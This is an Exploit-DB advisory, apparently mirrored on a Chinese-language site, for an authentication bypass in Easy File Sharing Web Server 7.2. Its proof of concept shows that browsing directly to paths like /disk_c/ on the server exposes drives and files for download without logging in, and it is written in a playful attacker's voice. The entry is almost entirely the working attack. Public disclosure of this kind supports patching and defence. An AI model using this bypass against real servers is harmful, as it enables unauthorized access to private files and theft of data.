Easy File Sharing Web Server 7.2 – Authentication Bypass

• Exploit Database
• 14 阅读

• 作者： Touhid M.Shaikh
  日期： 2017-06-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42159/

• # Exploit Title: EFS Web Server 7.2 Authentication Bypass
  # Date: 11-06-2017
  # Software Link: http://www.sharing-file.com/efssetup.exe
  # Software Version : 7.2
  # Exploit Author: Touhid M.Shaikh
  # Contact: http://twitter.com/touhidshaikh22
  # Website: http://touhidshaikh.com/
  
  
  ######## Description ########
  <!--
  What is Easy File Sharing Web Server 7.2 ?
  Easy File Sharing Web Server is a file sharing software that allows
  visitors to upload/download files easily through a Web Browser. It can help
  you share files with your friends and colleagues. They can download files
  from your computer or upload files from theirs.They will not be required to
  install this software or any other software because an internet browser is
  enough. Easy File Sharing Web Server also provides a Bulletin Board System
  (Forum). It allows remote users to post messages and files to the forum.
  The Secure Edition adds support for SSL encryption that helps protect
  businesses against site spoofing and data corruption.
  -->
  
  ######## Video PoC and Article ########
  
  https://www.youtube.com/watch?v=XlTH7Fm1m1w
  http://touhidshaikh.com/blog/poc/EFSwebservr-authbypass/
  
  
  
  ######## Attact Description########
  <!--
  
   Note: No Need to Login...bcz this is auth bypass vulnerability .hehehe.
  
  ==>START<==
  Any visitor..
  
  We can Bypass the Login Screen by just Change the URL and Browse the
  Drives.
  bingoo...
  -->
  
  ######## Proof of Concept ########
  
  When we visit the EFS web server its prompt for login, now attacker just
  change url to below.
  Exploit....
  
  http://192.168.1.14/disk_c/
  
  in this case change drvie by just change /disk_c to /disk_<Drive latter>
  example. /disk_d , /disk_f etc
  
  =============================================
  NOTE :: ::
  Now We have Permission to View Drives and Folder and Download Files. in
  Diffrent Drives or folder.
  ============================================
  
   _____ ____ _ _ _ ___ ____
  |_ _/ _ \| | | | | | |_ _|_ \
  | || | | | | | | |_| || || | | |
  | || |_| | |_| |_|| || |_| |
  |_| \___/ \___/|_| |_|___|____/
  
  Touhid Shaikh.......